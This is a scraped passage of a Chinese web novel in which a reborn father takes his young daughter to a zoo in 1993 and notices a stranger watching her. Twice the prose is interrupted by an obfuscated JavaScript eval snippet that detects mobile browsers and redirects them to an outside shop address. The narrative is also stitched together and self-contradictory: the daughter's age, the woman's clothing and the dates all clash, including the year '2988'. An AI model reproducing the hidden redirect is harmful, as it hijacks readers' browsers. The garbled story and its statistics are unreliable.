“上来,爸爸背你,爸爸的背结实着呢。” 笑笑趴在他背上,小手揪着他洗得发白的蓝布褂子—— 这褂子是他结婚时穿的,如今领口都磨破了,他用线缝了圈边——把脸贴在他颈窝里,呼出的热气蹭在他皮肤上,小声说: “爸爸,我想吃棉花糖。” 不远处的棉花糖摊支着老式转炉,摊主是个南方来的师傅,说话带着软乎乎的口音,正摇着把手,转炉“嗡嗡”地转着,白糖在炉里化成糖丝,雪白雪白的,裹在竹签上, 越裹越大,像朵飘在手里的小白云,摊主摇把手时,糖丝还会往下掉,落在地上粘成小糖粒,甜香飘得老远。 1993年棉花糖刚在小城出现,算是新鲜玩意儿,2毛钱一串,比五分钱一根的油条贵多了。 林凡平时自己都舍不得吃根冰棍,上次在集市上,笑笑盯着棉花糖哭,他攥着口袋里的钱,没舍得买,回去后看着笑笑失落的样子,后悔了好几天,这次说什么也得满足她。 他赶紧走过去,掏出2毛钱递给摊主,看着师傅把棉花糖递过来,还特意说“多裹点糖丝”,师傅笑着多摇了两圈,棉花糖大得快遮住笑笑的脸。 笑笑举着棉花糖,先咬了一口,糖丝粘在嘴角、鼻尖上,像沾了层雪,她又凑到林凡嘴边,糖香蹭在他脸上: “爸爸也吃,像云朵一样甜。” 林凡咬了一小口,甜丝丝的味道在嘴里化开来,比他吃过的任何糖都甜。 阳光透过梧桐树的叶子洒下来,落在他们身上,斑斑点点的,像撒了把碎金子,空气中混着干草的味道、动物的气息,还有棉花糖的甜香,暖融融的。 笑笑趴在林凡背上,慢慢闭上眼睛,嘴里还小声念叨着“老虎……大象……棉花糖……”,小脑袋随着他的脚步轻轻晃,呼吸也变得匀匀的。 林凡轻轻拍着她的背,脚步放得更慢了,怕吵醒她。 1993年的日子不算富裕,小城多数人家还在为柴米油盐算计,他的早餐摊每个月能赚四十多块,除去三块钱的房租、面煤钱,剩下的刚够他和笑笑糊口,有时笑笑想买块橡皮,他都得算着花。 但他一点都不觉得苦—— 前世他跑运输赚了不少钱,住上了砖瓦房,买了摩托车,却没陪笑笑过过一次生日,没带她去过一次动物园,直到笑笑意外走了, 他抱着空荡荡的房间,看着她没绣完的小袜子,才知道自己丢了最珍贵的东西。 如今重生回来,他没有太多钱,却能把仅有的时间、仅有的积蓄都给女儿,能牵着她的手看老虎打哈欠, 能背着她吃甜丝丝的棉花糖,能在夜里给她绣小太阳衫,这才是重生最珍贵的意义。 风又吹过来,带着春天的暖意,吹起笑笑额前的碎发,林凡低头看着背上熟睡的笑笑,嘴角轻轻扬了起来,连眼里的光都软了。 1993年的秋老虎还没完全退去,午后的阳光带着夏末最后一丝燥热,透过动物园里近三十年树龄的老杨树枝叶—— 这些杨树是1965年动物园扩建时栽下的,树干粗壮得要两个小孩手拉手才能抱住,树皮上还留着前几年孩子们刻的歪扭名字,有“建国”“小红”这类带着时代印记的称呼, 笔画里嵌着经年的灰尘,被雨水浸得发黑——在磨得发亮的水泥地上洒下斑驳的碎影。 林凡带着刚满3岁的女儿笑笑坐在刷着绿漆的木制长椅上,这排长椅是1982年动物园翻新时添置的,如今漆皮剥落处露出浅黄的木头纹理,边缘的刻痕比记忆里更深: 有上世纪八十年代孩子歪歪扭扭刻的“小明到此一游”,还有模糊的五角星图案,边角被无数游客的衣袖磨得圆润,摸上去竟有些光滑。 他拍了拍帆布包上沾的杨絮,这包是前几年在国营机床厂当钳工时,师傅老周送的—— 老周1970年进的厂,干了二十多年钳工,退休时把自己用了十年的帆布工具包送给了林凡,说“干活的人得有个结实的包”。 如今帆布已经洗得发白发软,边角用粗线缝补过两次,里面除了油纸包着的面包,还塞着笑笑的小蓝布手绢(是妈妈生前用碎花布拼的,边角绣着小小的蝴蝶)、 半块用锡纸包着的水果糖(过年时亲戚送的,笑笑舍不得吃,一直揣到现在),以及一张揉得皱巴巴的动物园导览图—— 是早上在门口宣传栏免费拿的,印着黑熊馆、猴山的简易画,角落还盖着“XX市动物园1992年印”的红章,背面用铅笔标着“鸽子园14:00喂鸽子”的小字,是林凡出门前特意查的游园指南。 掏出油纸包时,麦香混着油纸的油墨味飘出来,是国营“东方红食品厂”产的钙奶面包。1993年全国国营食品厂还有近万家,但私营面包房已开始零星出现, 东方红食品厂凭着几十年的老手艺,在本地小有名气—— 厂里的面粉都是从郊区国营粮站进的特一面粉,奶粉是黑龙江产的全脂奶粉,做面包时从不掺水。 这种钙奶面包一毛钱一个,比普通白面面包贵五分,林凡平时舍不得吃,今天特意早起,五点半就到食品厂门口排队,排到第十五位才买到两个。 油纸剥开,能看到面包表面撒的零星糖粒,在阳光下泛着微光,咬开时还能尝到淡淡的奶香——据说厂里每天限量供应两百个,七点半就会卖完,晚去一步就只能等第二天。 他又拧开军用水壶的盖子,这壶是师傅老周的退伍纪念品,1979年老周从部队退伍时带回来的,壶身印着褪色的“为人民服务”,壶底还刻着老周的名字缩写。 凉白开带着金属壶身的淡淡锈味,林凡每次装水前都会用开水烫一遍壶胆,怕锈味影响笑笑;此刻他先倒在手心试了试温度,确认不凉不烫,才把壶嘴凑到笑笑嘴边:“慢点喝,别呛着。” 笑笑刚追着猴子山的猕猴跑了半圈,身上穿的灯芯绒碎花外套是妈妈生前用蝴蝶牌缝纫机做的—— 那台蝴蝶牌缝纫机是上海产的, 1988年妈妈攒了三个月工资(当时她在纺织厂当挡车工,月薪八十块)才买下,机身擦得锃亮,现在还放在阳台的角落,林凡偶尔会用它补补衣服。 1991年妈妈走时,特意拆了自己的旧灯芯绒裤子,选了笑笑最喜欢的粉白碎花布,连夜赶制了两件,说能穿到上学。 如今外套的袖口已经短了两指,露出里面缝补的浅蓝棉布(是妈妈的旧的确良衬衫拆的),后背还沾了点猴山旁的黄土—— 刚才她蹲在猴山边看小猴子时,不小心蹭到的—— 可林凡每次都用肥皂洗得干干净净,布料被洗得软软的,灯芯绒的绒毛蹭在手上格外舒服。 小丫头脸蛋红扑扑的,额头上渗着细汗,她靠在林凡怀里,小口啃着面包,面包渣掉在衣襟上,自己用小胖手捡起来塞进嘴里,另一只手举着水壶,眼睛盯着天上飘的白云,忽然指着一朵蓬松的云喊: “爸爸你看!那只云兔子在跟着我们跑!耳朵还动呢!” 林凡顺着她的手指看过去,风正把云絮吹得慢慢移动,像兔子在草坪上蹦跳,他伸手用手绢擦掉女儿额角的汗,指尖触到布料上磨得发亮的绒毛,心里轻轻揪了一下—— 2年前这个时候,妈妈还坐在这张长椅上,抱着笑笑指云认动物,说那朵云像小熊,那朵像小鸟,如今只剩他和女儿相依为命,连风里的味道都好像少了点什么。 “爸爸,” 笑笑嚼完最后一口面包,用手背擦了擦嘴角的糖渍,轻声说,“动物园真好玩,比上次去人民公园的滑梯还好玩。” 她还记得春天去人民公园时,那架铁制滑梯是1980年代建的,是当时市里第一个儿童游乐设施,铸铁表面已经有点生锈,夏天晒得能烫红手心, 林凡每次都得用自己的劳动布衬衫擦半天,再让她垫着衣角坐上去,生怕烫到她的小屁股; 可今天在动物园,她不仅在黑熊馆看了会用爪子接苹果的黑熊—— 管理员是个五十多岁的大爷,在动物园工作了二十年,他笑着告诉笑笑,那只黑熊叫“憨憨”,2988年从东北动物园运过来的,当时光运费就花了两千块, 现在每天能吃两斤苹果、半斤玉米面窝头,偶尔还会给点蜂蜜当奖励—— 还在小羊圈喂了山羊,那只浅棕色的小尾寒羊是本地农户去年送来的,刚生了只小羊羔,小山羊的舌头糙糙的,舔得她手心痒痒的,刚才她还跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632272|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸学山羊“咩咩”叫,现在想起来还忍不住笑出声,小肩膀一耸一耸的。 “嗯,笑笑喜欢,爸爸以后经常带你来。” 林凡搂紧女儿,下巴抵着她的发顶,能摸到她头发上扎的小红绳—— 是昨天邻居张阿姨帮忙扎的,张阿姨说笑笑的头发软乎乎的,像她妈妈年轻时的头发。 原先他刚从国营纺织厂辞职,1993年正是全国国企改革试点的关键年,XX市机床厂作为老厂,效益一年比一年差,原来每个月一百二十块的工资,去年降到九十块, 前年更是经常拖欠,有时候三个月才能发一次工资。 林凡要养笑笑,实在等不起,才跟着想法开笑笑宝贝屋。早上出门前,他翻遍了抽屉里的零钱罐(里面都是一毛、两**的硬币)、 旧信封(妈妈生前装零钱的,里面有一张皱巴巴的五**纸币),才凑够两元钱的动物园门票(成人一元五,儿童五**)—— 这两元钱相当于他一天的生活费,平时他一顿饭只花两毛钱买个馒头、一毛钱买碗咸菜。 可看到笑笑攥着门票时,眼睛亮得像天上的星星,所有的烦躁都像被风吹散了些,连口袋里硬币硌得慌的感觉都消失了。 笑笑沉默了一会儿,小手攥着林凡的衣角,忽然抬起头,睫毛上还沾着点面包屑,大眼睛像浸了水的黑葡萄,盯着林凡很认真地说: “爸爸,有爸爸陪,笑笑就开心——比吃小豆冰棍还开心。” 昨天邻居李阿姨给了她一支小豆冰棍,是巷口老王推着二八大杠自行车卖的—— 老王的自行车是永久牌的,1985年买的,后面绑着个泡沫箱,里面裹着厚棉被(是老王老伴做的,补丁摞着补丁,却洗得干干净净),一毛钱一支。 笑笑没舍得吃,揣在棉袄兜里想带给爸爸,结果走回家就化了半支,黏糊糊的沾了满手,还差点哭了——她觉得自己把爸爸的冰棍弄坏了。 林凡当时用温水帮她洗了半天手,还安慰她说:“没事,下次爸爸带你买两支,咱们一起吃。” 这句话像刚灌进暖壶的开水,顺着林凡的喉咙往下淌,瞬间涌遍全身。他低下头,额头抵着女儿的额头,能闻到她头发上胰子的清香—— 是“蜂花”牌的,一块钱能买三块,是当时家家户户都用的便宜货,洗得干净还留香。 他的声音忍不住发哽:“爸爸也是,有笑笑陪着,爸爸最开心。” 刚才还在琢磨下午要去童装市场找王老板催款,那笔五百块的货款拖了半个月,再不拿到手,这个月五十块的笑笑宝贝屋房租都交不起—— 房东昨天已经来催过一次,说再不交就只能搬出去。 可此刻怀里的小身子软软的,女儿的呼吸轻轻拂在他脸上,那些跑货时凌晨三点起床的疲惫(上次去邯郸,他为了赶时间,一夜没睡,只在货车里眯了半小时)、 催款时被人冷脸的压力(有次找客户要钱,对方让他在门口等了两个小时,连杯水都没给)、算着钢筋运费和人工成本的焦虑(每吨钢筋运费涨了五块,利润又少了一截),突 然都变得像地上的落叶一样轻,风一吹就能飘走。 远处传来卖冰棍的吆喝声, “小豆冰棍!奶油冰棍!一毛钱一支——”, 是个四十多岁的大叔,推着自行车,车上挂着个铜铃铛,吆喝的时候会轻轻摇铃,铃声清脆,带着北方人的爽朗。 动物园的广播喇叭里正放着毛宁的《涛声依旧》, 那是1993年最火的歌,街头巷尾的录音机里都在放,磁带卖八块钱一盘,林凡邻居家的小孩每天都用录音机放,笑笑都能跟着哼“带走一盏渔火,让它温暖我的双眼”。 旋律混着孩子们追跑的笑声(有两个小男孩在追着喂鸽子的饲料袋跑),还有猴山传来的猕猴叫声(小猴子在抢游客扔的花生)、 黑熊馆的铁链声(憨憨在笼子里踱步,铁链蹭着地面),整个动物园都裹在1993年午后的温柔里。 风里还飘着不远处爆米花摊的甜香,那是个老爷爷,用的是老式的黑色爆米花机,每次“嘭”的一声响,孩子们都会捂着耳朵躲远,然后围上去要爆米花—— 老爷爷会用报纸折成锥形的袋子装,一毛钱一袋。笑笑刚才还拉着林凡的手说“爸爸,我想吃爆米花”,林凡说“看完鸽子咱们就买”,小丫头才乖乖坐回长椅上。 第六十二章 动物园的红色身影 可就在这温馨快要漫过心口时,一丝发紧的直觉突然像电流似的窜过林凡的后背—— 不是游客的喧闹,也不是动物的叫声,是一种被注视的、浑身不自在的感觉,像有根细针轻轻扎着皮肤,让他忍不住想皱眉。 他下意识地抬起头,目光扫过不远处熙攘的人群:穿藏青色夹克的男人正举着海鸥牌傻瓜相机给孩子拍照—— 那相机是海鸥DF-1型号,当时售价两百二十八块,相当于普通工人近两个月的工资,很少家庭舍得买,林凡猜这男**概是做个体户的,最近几年个体户生意好做, 收入比国企职工高不少;扎羊角辫的小姑娘拽着妈妈的衣角,吵着要去喂鸽子,妈妈穿的浅蓝色的确良衬衫是当时最常见的面料, 洗后容易皱,却耐穿又便宜,三十五块钱就能买一件,林凡记得妈妈也有一件一模一样的; 还有两个穿蓝布工装的工人模样的人,坐在另一张长椅上分享着一支春城牌香烟,烟盒皱巴巴的,五毛钱一包,比红塔山(一块五一包)便宜不少。 他们聊着厂里的事,一个说“听说老张辞职去南方了,一个月能挣三百块”,另一个叹着气说“咱们厂这效益,再撑下去也难”, 偶尔咳嗽两声,烟味顺着风飘过来,林凡下意识地把笑笑往怀里搂了搂—— 他从不抽烟,怕呛着女儿。 直到视线落在东边卖纪念品的小木屋旁,他的目光顿住了,像被什么东西粘住似的,挪不开。 那是个女人, 站在挂着塑料动物挂件的木屋前,身上穿的米色风衣在满是夹克、 毛衣的游客里格外扎眼——1993年这种收腰款风衣刚从南方流行到北方,XX市国营百货大楼里标价八十四块,而当时普通工人月薪也就一百块左右,寻常人家很少舍得买, 大多还是穿前年的旧毛衣。风衣的金色扣子擦得发亮,领口还别着个小小的珍珠胸针,看着就不便宜。 她戴了副深棕色塑料框墨镜,是当时流行的太阳镜款式,遮住了半张脸,镜片反射着阳光,看不清里面的眼神。烫得蓬松的大波浪头发用发胶梳得一丝不苟, 发尾还泛着栗色的光泽——1993年染发还不普遍,只有少数时髦的年轻人才会去“美容厅”染,市中心的“爱美”美容厅烫一次头发要十五块,染一次要十二块,林凡上次路过时, 看到门口贴的价目表,吓了一跳。木屋的货架上摆着搪瓷动物杯(两块五一个,杯身上印着小熊图案)、印着“XX市动物园”字样的毛巾(一块二一条,有红、蓝两种颜色), 还有拳头大的塑料熊猫玩具(三块钱一个,肚子里装着小铃铛)。她手里捏着一个熊猫挂件,挂件的黑色油漆已经掉了一块,露出里面的白色塑料,手指上涂着暗红的指甲油—— 是当时流行的“霞飞”牌,五块八一瓶,在国营百货大楼的化妆品柜台能买到。可她半天没动一下,既不付钱给卖纪念品的阿姨,也不放下挂件,就那样捏着,眼神像飘在半空。 林凡眯了眯眼,借着阳光的角度,能感觉到那墨镜后的视线,正隔着来来往往的游客(有个推着婴儿车的奶奶从中间走过),有意无意地往他和笑笑这边飘。 风把她风衣的衣角吹起来,露出里面深色的针织衫,领口还绣着细小的蔷薇花纹,针脚很精致。她胳膊上挎着的黑色人造革手包—— 是去年市面上最火的“老板包”,能装下整本的账本和大哥大,当时要三十五块,一般是跑生意的人才会用,寻常家庭主妇都背布包。 更奇怪的是她的鞋子,是黑色的高跟皮鞋,鞋跟有两寸高,当时很少有人穿高跟鞋去动物园——园里的路有不少石子,穿高跟鞋走路很不方便。 她的姿势很怪,明明站在纪念品前,却总往这边侧着身,手指无意识地摩挲着熊猫挂件的耳朵,指甲上的暗红在阳光下格外显眼,连卖纪念品的阿姨问她 “同志,要这个挂件吗?”, 她都没应声,只是轻轻摇了摇头。 林凡心里的不安又重了些,像被什么东西堵着,他悄悄把笑笑往怀里搂得更紧,小声问: “笑笑,咱们去看鸽子好不好? 刚才说好了要喂鸽子的。”他想赶紧离开这里,可那女人的视线像一张细网似的,缠得他浑身不自在,连脚步都有点迈不开。 1993年春末的周末,市动物园的入口处挤满了人,空气中飘着棉花糖的甜香与烤红薯的焦香—— 这年1月1日国家正式取消粮票制度,距今刚过半载,据国家统计局数据,1993年一季度城镇居民人均可支配收入达651元,较1992年同期增长22%, 居民口袋里的“活钱”终于多了些,周末带孩子逛动物园成了小城家庭最时兴的消遣。 据当时市园林局《1993年春季游园统计简报》,这季周末动物园日均接待游客超1.5万人次,较1992年同期的1.15万人次增长30%,创下近五年新高。 满场都是携家带口的身影:有的家长推着金属框架、漆皮剥落的儿童推车,那会儿国营百货商店(如“东方红百货”)里的儿童推车仅3种款式,单价48-55元, 相当于普通职工月薪的三分之一,多数家庭更愿用兄长传下来的旧车,车轱辘磨平了就换个内胎继续用;有的孩子攥着印着“劳动最光荣”的搪瓷杯,杯子出自本地“红旗搪瓷厂”, 这家1954年建厂的国营老厂,1993年仍保持着日均2000个搪瓷杯的产能,占本地餐具市场80%份额,是家庭餐具的绝对主流。 喧闹声裹着猴子的吱吱叫、黑熊的低吼,混着小贩“棉花糖五**一个”的吆喝,成了这个计划经济向市场经济转型年代里,周末最踏实的烟火气。 可刚给女儿笑笑买完棉花糖的林凡,目光无意间扫过猴山旁的长椅时,心却突然微微一沉:那抹正朝这边望的红色身影,怎么看都有些扎眼。 1993年的小城总人口约39万,据市**局年末《流动人口统计年报》,全年登记外来人口仅2.8万,占总人口的7.2%,且80%来自周边临县,多从事建筑零工或街头小贩,鲜少有人穿着光鲜。那会儿邻里关系还带着“单位大院”的余温, 住了十几年的老相识占比超六成,连谁家孩子换了新书包、谁家买了新自行车,不出半天就能传遍半条街——而那样一身亮红色连衣裙、头发烫成波浪卷(当时叫“港风卷”, 本地仅两家国营理发店能做,一次要8块钱,相当于职工日均工资的1.6倍,鲜少有人愿意花这个钱)、嘴唇涂着亮闪闪口红的女人,别说在小区,就是在整个动物园里都找不出第二个。 是错觉吗? 林凡的指尖下意识攥紧了笑笑的小手,掌心触到女儿沾着糖渣的碎花裙摆—— 布料是妻子上月从国营布店扯的“的确良”,每米1.8元,比纯棉布料便宜近一半,耐洗但不透气,一出汗就贴在身上。 1993年夏天还没流行纯棉童装,国营布店的儿童布料只有小碎花、格子两种花型,个体户布摊全市不足10家,款式也相差无几。 指尖的触感让记忆瞬间拉回前几天晚饭时:张婶端着一碗绿豆汤来串门,搪瓷碗沿还冒着热气,她压低声音说: “凡啊,你可得看好笑笑!昨儿我去街口‘向阳粮店’买米,排队时看见个穿红连衣裙的女人,就站在咱们小区门口盯孩子,问她找谁也不说话,倒像个外地来的‘时髦人’。 咱们这片儿可没这样打扮的!”张婶说的“向阳粮店”是1956年开业的老国营店,虽取消了粮票,但居民仍认它的“老招牌”,日均售米1.2万斤, 早晚高峰要排20-30分钟队,若真有陌生人在门口徘徊,早被排队的老街坊议论开了。会是同一个人吗? 林凡迅速收回目光,假装蹲下来给笑笑整理歪掉的布帽子,指腹轻轻蹭过女儿软乎乎的耳垂——他注意到,不远处卖冰棍的小贩正推着“永久”牌二八大杠自行车叫卖, 车后座绑着泡沫保温箱,“奶油冰棍,一毛钱一根”的吆喝声此起彼伏。 1993年的冰棍分两种:绿豆的8分钱一根,奶油的1毛钱,当时儿童日均零花钱多是2-5分,想买奶油冰棍得缠着家长磨半天; 旁边穿浅灰色的确良衬衫的大爷正用馒头屑喂孔雀,1993年动物园还没禁止投喂,门口小卖部5分钱能买两个馒头(批发价3分两个,小卖部赚2分差价), 不少游客要么自带家里的剩馒头,要么在小卖部买了喂动物,孔雀园里总堆着一层馒头渣。可那道落在背上的目光, 却像细针似的让他浑身神经绷紧,连女儿扯着他衣角要去看猴子的声音,都没那么容易入耳了。 他不能确定那女人的意图,更不想让刚满四岁的笑笑察觉异常—— 这年代动物园还没装监控,据市园林局1994年《安全工作报告》,1993年全市仅5个重要场所装了监控设备,分别是火车站候车厅、人民银行总行、百货大楼、 **局门口和邮电局,动物园连围墙都还是2米高的砖垒墙,前年冬天还发生过山羊跑出围墙、在附近菜地啃菜的小插曲,最后靠联防队员和游客一起才追回。 上次居委会开联防会时,主任还特意拿着笔记本念:“最近东小区、西小区丢了12件晾晒的衣物,还有两户丢了自行车,大家多留心陌生人!” 没出大事,却也透着让人不安的松散—— 1993年社区治安主要靠“联防队员”,多是60-70岁的退休老人,每人每天轮流巡逻2小时,没有制服,只有个红布缝的“联防”红袖章,装备就是一把旧手电筒,全靠“眼尖嘴勤”盯梢。 “笑笑,休息好了吗?” 林凡尽量让语气听起来轻松,甚至牵起女儿的手晃了晃, “咱们去看孔雀开屏好不好?听说今天有只蓝孔雀特别爱开屏,比妈妈织的花围巾还好看呢!” 他自然地抱起笑笑,故意将女儿的脸转向孔雀园方向,用自己的肩膀挡住身后的视线—— 笑笑的注意力立刻被“花围巾”吸引,小脑袋在他怀里蹭了蹭,奶声奶气地喊: “要去!要看大孔雀!” 怀里的女儿穿着开裆裤,屁股上缝着块浅灰色补丁,那是妻子前几天熬夜补的—— 1993年多数家庭还秉持“新三年旧三年,缝缝补补又三年”的习惯,儿童裤子平均穿6个月就短了,老大穿完老二穿, 补丁的布料多是从大人旧衣服上拆的,颜色常和裤子不搭,却没人觉得寒酸。 抱着女儿往孔雀园走时,林凡的步伐看似平稳,眼角余光却没敢放松: 猴山的猴子正抢着游客扔的馒头片,有个穿背带裤的小男孩扔了半块肉包子,猴子接住后一口吞了,引得围观人群笑出声; 熊舍里的老黑熊趴在水泥地上打盹,水泥墙面上满是游客刻的“XX到此一游”,最深的刻痕能放进指甲—— 这熊舍还是1978年建的,水泥厚度仅10厘米,没有防护网,1992年冬天还有只熊吃了游客扔的塑料袋,兽医来灌了半瓶泻药才好转,可见管理有多松散; 路过的年轻夫妇正摆弄着“红灯牌”半导体收音机,机身是黑色的,右上角贴着个小小的“上海制造”标签,里面飘出邓丽君的《甜蜜蜜》—— 这歌1993年虽已不被视作“靡靡之音”,但国营电台每月只播1-2次,年轻夫妇听的大概率是盗版磁带,那会儿正版磁带5元一盒,盗版的2元就能买到,偷偷在街头小贩那儿卖。 年轻夫妇听得入迷,男生的手指还跟着节奏轻轻打拍,女生则靠在他肩上笑,完全没注意到周围投来的几道异样目光——老一辈人对邓丽君的歌,还是有些接受不了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636908|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些热闹的场景本该让人安心,可那道目光却像跟屁虫似的,随着他的脚步移动了一段距离。 林凡悄悄摸了摸口袋里的“上海牌”机械表,表盘是银色的,边缘已经磨出了铜色,指针刚过下午2点10分—— 这个点正是游园高峰,入口处还在源源不断进人,收票员的嗓子都喊哑了,可他总觉得那抹红色像团火,烧得他心里发慌。 直到转过大象馆的拐角,人群突然密集起来—— 大象馆刚用市园林局拨的2万元翻新完,加了“骑大象拍照”项目,1块钱一次,每次1分钟,光上午就排了50多个人, 收入全用来给大象买饲料(大象每天要吃10斤玉米、5斤蔬菜,成本15元)。 趁着人群遮挡,那道目光才终于消失在攒动的人头里。 阳光透过动物园里的老槐树枝桠,在水泥路上洒下细碎的光斑,孩子们的笑声、动物的嘶吼声依旧裹着暖意,可林凡的心头却蒙了一层冷意。 那个拎着米白色人造革手提包的女人,像个突兀的音符,打乱了这难得的温馨—— 1993年的家庭大多重视孩子,据市妇联《1993年家庭亲子调查》,随机走访的2000户家庭中,85%的家长认为“周末带娃逛动物园是顶幸福的事”, 尤其是双职工家庭,那会儿还没实行双休(1995年才开始),一周只有一天休息,能陪孩子的时间本就少。可那女人既不看动物,也不跟人说话,只盯着孩子看,怎么想都不对劲。 他想起前阵子《小城晚报》上登的新闻: 邻市临江市3月份有个3岁孩子在人民公园被陌生人带走,家长找了3天,最后在火车站的候车厅里找到,人贩子是个外来务工人员,被判了5年—— 1993年这类新闻虽不多见,一年全市也就1-2起,可一旦发生,就足以让整个小城的家长提心吊胆好一阵子。 她到底是谁?一次在小区门口,一次在动物园,两次都围着笑笑打转,是真的偶然,还是别有用心? 林凡低头看了看怀里的女儿,感受到她均匀的呼吸和温热的体温,手指不自觉地收紧——笑笑的小手里还攥着吃剩的棉花糖棍,糖渣沾在指缝里,像星星点点的白霜。 那棉花糖是用白砂糖做的,每斤白砂糖1.8元,一个棉花糖只用2钱糖,成本不到4分,卖5毛钱,利润翻了12倍,可家长们还是愿意买给孩子尝鲜。 无论如何,他绝不能让女儿受半点威胁,哪怕只是一点可疑的苗头。 傍晚离开动物园时,门口公告栏上贴着“1993年五一新增熊猫馆”的红色通知,用毛笔写的大字格外醒目—— 熊猫是国宝,这对熊猫是从成都动物园借调的,名字叫“团团”“圆圆”,借调费用每年5万元,市园林局为了筹钱,把门票从成人5**、儿童2**,涨到了成人8**、 儿童3**,3月份登报后,3-4月的游园人数就比去年同期增长了25%,不少家庭就是冲熊猫来的。林凡推着家里那辆半旧的永久牌自行车,让笑笑趴在自己背上—— 这辆自行车是1988年他结婚时买的,花了180元,相当于当时他1个半月的工资,现在车架上还留着当时贴的“囍”字残胶,红色的贴纸只剩边角, 车铃1991年被撞坏后就没修,修要5块钱,他觉得没必要,每次骑车都靠喊“借过”提醒路人。 回家的路上,街道两旁的国营商店挂着“换季大甩卖”的横幅,白底红字格外显眼—— 1993年市场经济刚起步,个体户像雨后春笋似的冒出来,全市个体户数量比1992年增长了40%,多集中在服装、小吃领域。 国营商店开始面临竞争,“大甩卖”成了常见的促销手段,比如“东方红百货”里的毛衣,1992年的库存原价50元,现在打8折卖40元,可个体户的毛衣才卖35元, 款式还更时髦,不少路人站在店门口犹豫半天,还是转身去了个体户的摊位。 自行车流里不时传来叮铃铃的车铃声,偶尔能看到几辆“桑塔纳”轿车驶过—— 1993年小城私人轿车只有86辆,多是单位用车,比如政府、国营厂的,一辆桑塔纳要18万元,是普通职工10年的工资,普通人想都不敢想。 笑笑在他背上睡着了,嘴角还沾着棉花糖的甜渍,小眉头轻轻皱着,像在做什么美梦,大概是梦到孔雀开屏了。 可林凡的眼神却比来时凝重了许多—— 他摸了摸口袋里居委会发的联防联系卡,卡片是硬纸片做的,尺寸5cm×8cm,上面印着派出所的7位电话号码 (1993年小城电话还没升8位,全市固定电话普及率仅15%,多数家庭还没装电话),还有3个联防队员的名字和住址。 他心里已经打定主意:明天一早就去派出所问问,最近有没有陌生人在小区附近转悠,顺便把张婶看到的情况也说说。 派出所8点上班,他打算提前半小时去,正好赶上**交**,能说得详细些,还能顺便看看有没有其他家长反映类似情况。 这1993年的春天虽暖,街头巷尾都能看到“改革开放促发展”的红色标语,国营厂门口贴了“转制试点”的通知(比如“红星机械厂”, 4月开始把3个车间承包给个人,工人工资从固定月薪改成计件,多劳多得),街边多了几家个体户开的小吃摊(卖馄饨、油条,一碗馄饨5毛钱,10个,能吃饱), 可越是变化快,人们越在意家里的安稳,尤其是孩子的安全。 动物园的欢乐之旅,在父女俩心里留下了温暖的记忆—— 笑笑回来的路上还迷迷糊糊地说“下次要带妈妈来看孔雀”,可那抹红色身影,却像个带着问号的休止符,提醒着林凡: 在这个快速变化的年代,要更小心地守护这份简单的温暖。 第六十三章:林凡与笑笑的小城日子 深秋的风掠过北方小城的柏油路,卷起几片枯黄的杨树叶,打着旋儿落在供销社的铁皮屋顶上。风里裹着街头的吆喝声—— “烤红薯哎——热乎的!”刘大爷的嗓子带着烟火气,从街角飘过来,混着粮店门口“粮票兑换最后三天”的红色标语,把1993年的日子揉得软乎乎的。 小城还没褪去计划经济的余温,主干道上最多的是二八自行车,车把上常挂着网兜,里面装着刚换的面粉; 绿色铰接式公交车“哐当哐当”驶过,车身上刷着“平价汽油供应点”的广告。 百货大楼是全城最气派的建筑,门口的广播里循环着《走进新时代》,林凡昨天就是在这广播声里排了十分钟队,在三楼“儿童专柜”给笑笑买了中华牌蜡笔。 那会儿儿童文具选择不多,中华牌蜡笔以颜色正、不易断成了家长首选,米白色纸套上印着红色的“中华”二字,拆开时飘出的新蜡奶香味,沾在笑笑的羊角辫上,绕了一路都没散。 动物园离小城中心有三站地,去的路上要经过修鞋匠的摊位,老鞋匠敲着钉子吆喝“修鞋——钉掌喽!”,锤子声敲在青石板上,和自行车的铃铛声撞在一起。 1993年的小城动物园规模不大,拢共就十几笼动物,老虎和大象是“镇园之宝”。那天笑笑趴在老虎笼前看了足有二十分钟,看老虎甩着尾巴扫过笼底的干草,溅起的碎泥点落在她蓝色灯芯绒裤子的补丁上—— 那补丁是林凡用她妈妈留下的碎花布缝的,针脚有点歪,却洗得发白。 后来她跟王猛叔叔说“溅了一裤脚的水”,其实是把泥点说成了水,小孩子总爱把经历说得更热闹些。 她趴在自家童装店靠窗的木桌上涂画时,阳光透过糊着塑料膜的窗户照进来,把老虎歪歪扭扭的斑纹映得发亮,大象鼻尖的苹果涂得太用力,蜡笔断了一小截,她赶紧用手指把蜡屑摁平,像藏着个小秘密,连呼吸都放轻了些。 张奶奶坐在居委会门口的青石板墩上织毛衣,手里的腈纶混纺粉毛线是前阵子在小商品市场买的,三块八毛钱一团,装毛线的塑料袋上还印着“上海针织厂”的字样。 1993年纯棉线贵,一斤要十多块,普通人家织毛衣多选腈纶混纺,耐洗还不容易变形。她脚边放着一本卷边的《大众电影》,织针停了停,摸了摸孩子扎着羊角辫的头: “咱们笑笑见过大世面啦,你张奶奶这辈子都没摸过真老虎呢。” 旁边卖烤红薯的刘大爷也搭话,用旧报纸包了块温热的红薯递过来: “下次让你爸带你来,大爷给你留个最甜的,烤得流油!” 